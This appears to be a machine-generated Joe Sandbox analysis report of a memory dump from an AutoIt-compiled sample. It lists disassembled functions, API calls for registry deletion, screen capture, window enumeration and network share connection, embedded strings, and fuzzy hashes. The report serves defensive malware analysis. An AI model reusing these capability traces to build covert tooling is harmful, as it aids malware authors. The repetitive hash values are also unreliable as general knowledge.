SendMessageW.USER32(?,00000172,00000000,00000000), ref: 00ED86AF

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 670f6d1d2c84e65b3ef72af4b1388a66ec853bf59af8790587e501142431052c
Instruction ID: 2b6c321261d40578cf546b029dcc050abcf2ded06488a28d6b3772cf8db8799a
Opcode Fuzzy Hash: 670f6d1d2c84e65b3ef72af4b1388a66ec853bf59af8790587e501142431052c
Instruction Fuzzy Hash: 4E415B71601205AFDB10CFA6ED48EAE7BBCEF89B55F10415AF815E72A0DB309905CB20

Uniqueness

Uniqueness Score: -1.00%

Function 00EB14BD Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 360timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 00EB1502
VariantCopy.OLEAUT32 ref: 00EB150B
VariantClear.OLEAUT32 ref: 00EB1517
VariantTimeToSystemTime.OLEAUT32 ref: 00EB15FB
VarR8FromDec.OLEAUT32 ref: 00EB1657
VariantInit.OLEAUT32(?), ref: 00EB1708
SysFreeString.OLEAUT32(?), ref: 00EB178C
VariantClear.OLEAUT32 ref: 00EB17D8
VariantClear.OLEAUT32 ref: 00EB17E7
VariantInit.OLEAUT32(00000000), ref: 00EB1823

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 00EB1625
Default, xrefs: 00EB16AF

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 1234038744-3931177956
Opcode ID: 03b1e3dda0927f4d2ecb1bfb146a1bed2c26be39c9a87ad14a19a7415f0308ce
Instruction ID: a85e244d679b2dfd034a641c4ca818b432d4472f6539c324ce85b55ae84dfb65
Opcode Fuzzy Hash: 03b1e3dda0927f4d2ecb1bfb146a1bed2c26be39c9a87ad14a19a7415f0308ce
Instruction Fuzzy Hash: B9D10132A01215DBCB209F65E8A4BFAB7F5BF45720FA49596F806BB180DB30DC44DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00ECB60E Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 285registrylibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00E49CB3: _wcslen.LIBCMT ref: 00E49CBD

Part of subcall function 00ECC998: CharUpperBuffW.USER32(?,?), ref: 00ECC9B5
Part of subcall function 00ECC998: _wcslen.LIBCMT ref: 00ECC9F1
Part of subcall function 00ECC998: _wcslen.LIBCMT ref: 00ECCA68
Part of subcall function 00ECC998: _wcslen.LIBCMT ref: 00ECCA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00ECB6F4
RegOpenKeyExW.ADVAPI32 ref: 00ECB772
RegDeleteValueW.ADVAPI32 ref: 00ECB80A
RegCloseKey.ADVAPI32(?), ref: 00ECB87E
RegCloseKey.ADVAPI32(?), ref: 00ECB89C
LoadLibraryA.KERNEL32(advapi32.dll), ref: 00ECB8F2
GetProcAddress.KERNEL32 ref: 00ECB904
RegDeleteKeyW.ADVAPI32(?,?), ref: 00ECB922
FreeLibrary.KERNEL32 ref: 00ECB983
RegCloseKey.ADVAPI32(00000000), ref: 00ECB994

Strings

advapi32.dll, xrefs: 00ECB8ED
RegDeleteKeyExW, xrefs: 00ECB8FE

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: _wcslen$Close$DeleteLibrary$AddressBuffCharConnectFreeLoadOpenProcRegistryUpperValue
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 146587525-4033151799
Opcode ID: 28e69333f2d53bd837c72ace5a45f4882afabce54af65d697c8a0850858645e5
Instruction ID: 0b2459d7dacb68c62ad91c213a1d5bd11992714c61284e67eb92c8903ae73645
Opcode Fuzzy Hash: 28e69333f2d53bd837c72ace5a45f4882afabce54af65d697c8a0850858645e5
Instruction Fuzzy Hash: 3CC1B131205201AFD714DF14D595F2ABBE5FF84308F24955CF49AAB2A2CB36EC46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00EC255C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 169windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00EC25D8
CreateCompatibleBitmap.GDI32 ref: 00EC25E8
CreateCompatibleDC.GDI32(?), ref: 00EC25F4
SelectObject.GDI32 ref: 00EC2601
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000006,?,?,?,00CC0020), ref: 00EC266D
GetDIBits.GDI32 ref: 00EC26AC
GetDIBits.GDI32 ref: 00EC26D0
SelectObject.GDI32 ref: 00EC26D8
DeleteObject.GDI32(?), ref: 00EC26E1
DeleteDC.GDI32 ref: 00EC26E8
ReleaseDC.USER32(00000000,?), ref: 00EC26F3

Strings

(, xrefs: 00EC268D

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: fe9b6c6ff9113daeaa080e88f8798a3b626b0c88db67035a8c17f4a93a723284
Instruction ID: 51d1817580d60614511228ac0848bcc9463cab7432c81a95ad9aa78b7576db1e
Opcode Fuzzy Hash: fe9b6c6ff9113daeaa080e88f8798a3b626b0c88db67035a8c17f4a93a723284
Instruction Fuzzy Hash: 1561D275D01219AFCB04CFA4D985EAEBBF5FF48310F20852AE955B7250D771A941CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EA365B Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 267windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00EA369C
_wcslen.LIBCMT ref: 00EA36A7
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00EA3797
GetClassNameW.USER32(?,?,00000400), ref: 00EA380C
GetDlgCtrlID.USER32 ref: 00EA385D
GetWindowRect.USER32(?,?), ref: 00EA3882
GetParent.USER32(?), ref: 00EA38A0
ScreenToClient.USER32(00000000), ref: 00EA38A7
GetClassNameW.USER32(?,?,00000100), ref: 00EA3921
GetWindowTextW.USER32 ref: 00EA395D

Strings

%s%u, xrefs: 00EA3734

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout_wcslen
String ID: %s%u
API String ID: 4010501982-679674701
Opcode ID: a13f3e276bff7b69fde4edbdbabc7cca029ef7357e0c7205c2dfe6d11b808528
Instruction ID: a586d54842d3cf8df8c5e428e5848ce94dc786d5f8a9064abb33481ad675f98f
Opcode Fuzzy Hash: a13f3e276bff7b69fde4edbdbabc7cca029ef7357e0c7205c2dfe6d11b808528
Instruction Fuzzy Hash: D391D471204606AFD708DF34D885BABB7E8FF49344F105619F999EA190DB30FA45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00EA4954 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 253COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000400), ref: 00EA4994
GetWindowTextW.USER32 ref: 00EA49DA
_wcslen.LIBCMT ref: 00EA49EB
CharUpperBuffW.USER32(?,00000000), ref: 00EA49F7
_wcsstr.LIBVCRUNTIME ref: 00EA4A2C
GetClassNameW.USER32(00000018,?,00000400), ref: 00EA4A64
GetWindowTextW.USER32 ref: 00EA4A9D
GetClassNameW.USER32(00000018,?,00000400), ref: 00EA4AE6
GetClassNameW.USER32(?,?,00000400), ref: 00EA4B20
GetWindowRect.USER32(?,?), ref: 00EA4B8B

Strings

ThumbnailClass, xrefs: 00EA4A6F, 00EA4AF1

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen_wcsstr
String ID: ThumbnailClass
API String ID: 1311036022-1241985126
Opcode ID: e3fc6295e9d86531c58c6f2f7b4109f9c5b69ffa8080b16b6aa9fc6e41a1f56f
Instruction ID: fcc3b6d302abac2956813e8fa843f1b353f47437fae51995ab024a7468d24fb5
Opcode Fuzzy Hash: e3fc6295e9d86531c58c6f2f7b4109f9c5b69ffa8080b16b6aa9fc6e41a1f56f
Instruction Fuzzy Hash: 8A91C1B10042059FDB04CF14D981BAAB7E8EF89758F04646AFD85AE0D6DB70FD45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00ED8D0E Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 221windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E59BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00E59BB2

PostMessageW.USER32 ref: 00ED8D5A
GetFocus.USER32 ref: 00ED8D6A
GetDlgCtrlID.USER32 ref: 00ED8D75
DefDlgProcW.USER32(?,00000111,?,?,00000000,?,?,?,?,?,?,?), ref: 00ED8E1D
GetMenuItemInfoW.USER32 ref: 00ED8ECF
GetMenuItemCount.USER32(?), ref: 00ED8EEC
GetMenuItemID.USER32(?,00000000), ref: 00ED8EFC
GetMenuItemInfoW.USER32 ref: 00ED8F2E
GetMenuItemInfoW.USER32 ref: 00ED8F70
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00ED8FA1

Strings

0, xrefs: 00ED8E9F

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow
String ID: 0
API String ID: 1026556194-4108050209
Opcode ID: eab0841a4aabed14ec1376dbac5dfb156b4641bee7e775779b0774e390a09385
Instruction ID: 095d54bbc1780bcc5fad21463019d54299782f5474ee3c4b90586476e486beba
Opcode Fuzzy Hash: eab0841a4aabed14ec1376dbac5dfb156b4641bee7e775779b0774e390a09385
Instruction Fuzzy Hash: 4181BE716043059FD720CF14DE84AAB7BE9FB88758F142A1EF994A7391DB30D906CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00ECCC34 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 104registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00ECCC64
RegOpenKeyExW.ADVAPI32 ref: 00ECCC8D
FreeLibrary.KERNEL32 ref: 00ECCD48

Part of subcall function 00ECCC34: RegCloseKey.ADVAPI32(?), ref: 00ECCCAA
Part of subcall function 00ECCC34: LoadLibraryA.KERNEL32(advapi32.dll), ref: 00ECCCBD
Part of subcall function 00ECCC34: GetProcAddress.KERNEL32 ref: 00ECCCCF
Part of subcall function 00ECCC34: FreeLibrary.KERNEL32 ref: 00ECCD05
Part of subcall function 00ECCC34: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00ECCD28

RegDeleteKeyW.ADVAPI32(?,?), ref: 00ECCCF3

Strings

advapi32.dll, xrefs: 00ECCCB8
RegDeleteKeyExW, xrefs: 00ECCCC9

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Library$EnumFree$AddressCloseDeleteLoadOpenProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2734957052-4033151799
Opcode ID: 47313d79c2dce7d96feeb668c97ac6978b1055418bb5b8cca99fdbeff1f85811
Instruction ID: 142fb7362b4672e9a8a3cbdb9b361fa93c6b0d7837166fd4f75684416b5c66c0
Opcode Fuzzy Hash: 47313d79c2dce7d96feeb668c97ac6978b1055418bb5b8cca99fdbeff1f85811
Instruction Fuzzy Hash: 6D318671902129BFDB209B51DD88EFFBF7CEF15744F204169E90AF2140D7349A46DAA1

Uniqueness

Uniqueness Score: -1.00%

Function 00EAE6B0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00EAE6B4

Part of subcall function 00E5E551: timeGetTime.WINMM ref: 00E5E555

Sleep.KERNEL32(0000000A), ref: 00EAE6E1
EnumThreadWindows.USER32 ref: 00EAE705
FindWindowExW.USER32 ref: 00EAE727
SetActiveWindow.USER32 ref: 00EAE746
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00EAE754
SendMessageW.USER32(00000010,00000000,00000000), ref: 00EAE773
Sleep.KERNEL32(000000FA), ref: 00EAE77E
IsWindow.USER32 ref: 00EAE78A
EndDialog.USER32 ref: 00EAE79B

Strings

BUTTON, xrefs: 00EAE719

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: d86733227b8e44673365a9e160c79fa6a5c5e50dbd384d7f03bb3930bcffefa0
Instruction ID: 24c0668b0b7fa3e24d34d3aed7421e884e76efb6cabdda9182de1c5ac10258fa
Opcode Fuzzy Hash: d86733227b8e44673365a9e160c79fa6a5c5e50dbd384d7f03bb3930bcffefa0
Instruction Fuzzy Hash: 9B21C670301209AFEB005F71FC89B653BA9F79A788F216426F511B62E1DB71BC14EA25

Uniqueness

Uniqueness Score: -1.00%

Function 00EAE9FC Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 00E49CB3: _wcslen.LIBCMT ref: 00E49CBD

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00EAEA5D
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00EAEA73
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00EAEA84
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00EAEA96
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00EAEAA7

Strings

play PlayMe wait, xrefs: 00EAEA91
close PlayMe, xrefs: 00EAEA6E, 00EAEA9B
alias PlayMe, xrefs: 00EAEA36
status PlayMe mode, xrefs: 00EAEA58
open , xrefs: 00EAEA0C
play PlayMe, xrefs: 00EAEAA2

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: SendString$_wcslen
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2420728520-1007645807
Opcode ID: aa097e1a97246b1e42a448f98b2e373570a60edde66379bb9de129c40cc77e9e
Instruction ID: 25010fb5920d0fcaa49ee53d916b4caf623c0e37ea5100faf51f384cdc67a17e
Opcode Fuzzy Hash: aa097e1a97246b1e42a448f98b2e373570a60edde66379bb9de129c40cc77e9e
Instruction Fuzzy Hash: BC11A331A902597DE720A7A1EC4AEFF6BBCEBD6B04F001429B411F60D1EE705914D5B1

Uniqueness

Uniqueness Score: -1.00%

Function 00E42CD4 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53windowregistryCOMMON

Download Yara Rule

APIs

GetSysColorBrush.USER32 ref: 00E42D07
RegisterClassExW.USER32(00000030), ref: 00E42D31
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00E42D42
InitCommonControlsEx.COMCTL32(?), ref: 00E42D5F
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00E42D6F
LoadIconW.USER32 ref: 00E42D85
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00E42D94

Strings

+, xrefs: 00E42CF0
0, xrefs: 00E42CE9
AutoIt v3 GUI, xrefs: 00E42D23
TaskbarCreated, xrefs: 00E42D37

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: e3eca67da570ad60c6a6598418e2ae9f57f3b6c9952d7a7486d496ab682d46b0
Instruction ID: 9e39ca80f39dd0b3fcf4dccf48b19d012682b3a6d84ee8955da06bb7fa249718
Opcode Fuzzy Hash: e3eca67da570ad60c6a6598418e2ae9f57f3b6c9952d7a7486d496ab682d46b0
Instruction Fuzzy Hash: C221B2B590221DAFDB00DFA5E849BDDBBB8FB08741F10811BE621B62A0D7B14544DF91

Uniqueness

Uniqueness Score: -1.00%

Function 00E58BCD Relevance: 18.2, APIs: 12, Instructions: 168timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00E58F62: InvalidateRect.USER32(?,00000000,00000001), ref: 00E58FC5

DestroyWindow.USER32 ref: 00E58C81
KillTimer.USER32 ref: 00E58D1B
DestroyAcceleratorTable.USER32 ref: 00E96973
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,00000000,?,?,?,?,00E58BBA,00000000,?), ref: 00E969A1
ImageList_Destroy.COMCTL32(?,?,?,?,?,?,?,00000000,?,?,?,?,00E58BBA,00000000,?), ref: 00E969B8
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00E58BBA,00000000), ref: 00E969D4
DeleteObject.GDI32(00000000), ref: 00E969E6

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: 2ef4d4add92141dbb38d121a37643de85c4b709a1760aea4edbcea70831fff30
Instruction ID: bcb999d4409d5c7823d8e7242d8a5f359d4f96cbb37867e3edd021f8c2a65c13
Opcode Fuzzy Hash: 2ef4d4add92141dbb38d121a37643de85c4b709a1760aea4edbcea70831fff30
Instruction Fuzzy Hash: B661BD30102605DFDF219F25DA48BA9B7F1FB4036AF11A91EE542BA560CB71AC88DF91

Uniqueness

Uniqueness Score: -1.00%

Function 00E59838 Relevance: 18.1, APIs: 12, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 00E59944: GetWindowLongW.USER32(?,000000EB), ref: 00E59952

GetSysColor.USER32 ref: 00E59862

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 20dd3a74a76edf4e24e551a7a2285e988b729d5ee1c6cffbe60c678edabb414b
Instruction ID: 95a5e341e01231a7c0c0d44c2401a66ab57d146b92bc0b00bbafa5b56988d5d6
Opcode Fuzzy Hash: 20dd3a74a76edf4e24e551a7a2285e988b729d5ee1c6cffbe60c678edabb414b
Instruction Fuzzy Hash: 1B41B131105610DFDF245F39AC84BF93BA5EB06376F245A06FAA2AB1E2C7309C49DB10

Uniqueness

Uniqueness Score: -1.00%

Function 00EA96E2 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00EA9717
LoadStringW.USER32(00000000,?,00E8F7F8,00000001), ref: 00EA9720

Part of subcall function 00E49CB3: _wcslen.LIBCMT ref: 00E49CBD

GetModuleHandleW.KERNEL32 ref: 00EA9742
LoadStringW.USER32(00000000,?,00E8F7F8,00000001), ref: 00EA9745
MessageBoxW.USER32 ref: 00EA9866

Strings

^ ERROR, xrefs: 00EA97FB
Line %d (File "%s"):, xrefs: 00EA978F
Error: , xrefs: 00EA981D
Line %d:, xrefs: 00EA97A0
%s (%d) : ==> %s: %s %s, xrefs: 00EA984A

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wcslen
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 747408836-2268648507
Opcode ID: 17db5233b94d35bf7f801d70fae7e851b2159bdddc8632d7e5605ef02f497b40
Instruction ID: 9d7710d0b9c4e36a0b0cdfe798123ed66401c4f342068e0054a7cc9f7d834afb
Opcode Fuzzy Hash: 17db5233b94d35bf7f801d70fae7e851b2159bdddc8632d7e5605ef02f497b40
Instruction Fuzzy Hash: 98413E72900219AADF04EFE0ED86DEEB7B8AF59340F601065F60576092EB356F48DB61

Uniqueness

Uniqueness Score: -1.00%

Function 00EA06DE Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 127registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00E46B57: _wcslen.LIBCMT ref: 00E46B6A

WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00EA07A2
